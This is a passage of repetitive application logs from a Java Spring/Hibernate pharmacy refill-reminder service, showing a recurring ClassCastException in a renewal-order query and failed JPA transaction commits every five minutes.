org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 16:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 16:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 16:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 16:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 16:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 16:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 16:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 16:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 16:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 16:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 16:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 16:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 16:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 16:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 16:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 16:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 16:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 16:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 16:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 16:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 16:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 16:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 16:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 16:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 16:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 16:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 16:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 16:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 16:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 16:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 16:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 16:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 16:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 16:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 16:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 16:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 16:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 16:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 16:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 16:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at 